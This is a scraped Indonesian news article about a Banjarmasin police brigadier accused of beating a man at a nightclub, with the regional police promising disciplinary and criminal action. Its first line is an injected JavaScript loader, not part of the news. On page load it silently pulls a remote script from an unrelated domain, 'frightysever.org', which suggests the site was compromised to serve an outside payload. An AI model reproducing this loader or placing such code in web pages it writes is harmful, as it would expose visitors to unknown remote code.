(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Main Pukul Sembarangan, Brigadir R Terancam Sanksi


BANJARMASIN, Kapolda Kalsel Brigjen Pol Drs Rachmat Mulyana angkat bicara soal pengeroyokan yang dilakukan anak buahnya. Kapolda berjanji akan memberikan sanksi tegas kepada anggota jika terbukti bersalah dalam kasus pengeroyokan kepada warga di tempat hiburan malam, awal bulan lalu.

Komentar itu terkait dugaan anggota Polda Kalsel yang memukul seorang warga bernama HY di THM Grand Mitra Plaza, Kecamatan Banjarmasin Tengah, Kota Banjarmasin, Jumat (8/12), sekitar pukul 23.10 Wita.

Kronologis kejadian, ada 3 orang yang ikut masuk ke THM tersebut dan duduk di bar berdekatan dengan korban. HY tidak melawan dan tidak meanggapi teriakan anggota tersebut dan anggota Polri tersebut langsung memukul pipi kiri HY dengan keras. HY diseret keluar THM lalu terlempar ke tanah dan dipukuli lagi oknum tersebut. Diduga oknum yang melakukan pemukulan adalah Brigadir R yang bertugas di Resnarkoba Polda Kalsel.

Karena tidak terima dirinya dianiaya, HY akhirnya melaporkan perkara pemukulan terhadap dirinya ke Polisi, sebagaimana bukti laporkan ke SPKT Polresta Banjarmasin, dengan Laporan Polisi Nomor : LP/778/XII/2017/.

Terkait ulah oknum Brigadir R tersebut, sanksi tegas mengancam bakal diberikan, selain tindakan disiplin dan proses pidana kepada terduga oknum anggota tersebut.

“Dilakukan langkah tegas dengan memproses tuntas di Propam terhadap terduga oknum anggota yang melakukan pemukulan, termasuk kepada teman-temannya dan tidak menutup kemungkinan diproses pidana,” kata Kapolda Kalsel Brigjen Pol Drs Rachmat Mulyana melalui Kabid Humas Polda Kalsel AKBP Mochamad Rifa’I SIK, Selasa(26/12).

Menurut AKBP Mochamad Rifa’I SIK, Polda Kalsel sangat menyayangkan perbuatan yang dilakukan oleh terduga oknum anggota yang seharusnya tidak gampang tersulut emosi itu. Seharusnya sebagai anggota Polri tidak main hakim sendiri karena tugas Kepolisian adalah melindungi dan mengayomi masyarakat.

“Tugas Polri memberikan perlindungan dan pengayoman kepada masyarakat oleh karenanya supaya tidak terulang lagi kejadian serupa, Polda Kalsel akan memberikan sanksi tegas kepada terduga oknum anggota itu, jika terbukti salah dalam kasus pengeroyokan kepada warga,” ujar AKBP Mochamad Rifa’I SIK.

Pihak Polda Kalsel meminta maaf kepada pihak korban dan keluarga. Polda Kalsel juga memberikan bantuan pengobatan serta perlindungan hukum terhadap korban dan keluarga.(ammar)

 

Reporter : Ammar
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

3 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

4 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

6 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

7 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

8 jam ago

Pj Bupati HSU Pimpin Peringatan Hardiknas 2024

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More

8 jam ago

This website uses cookies.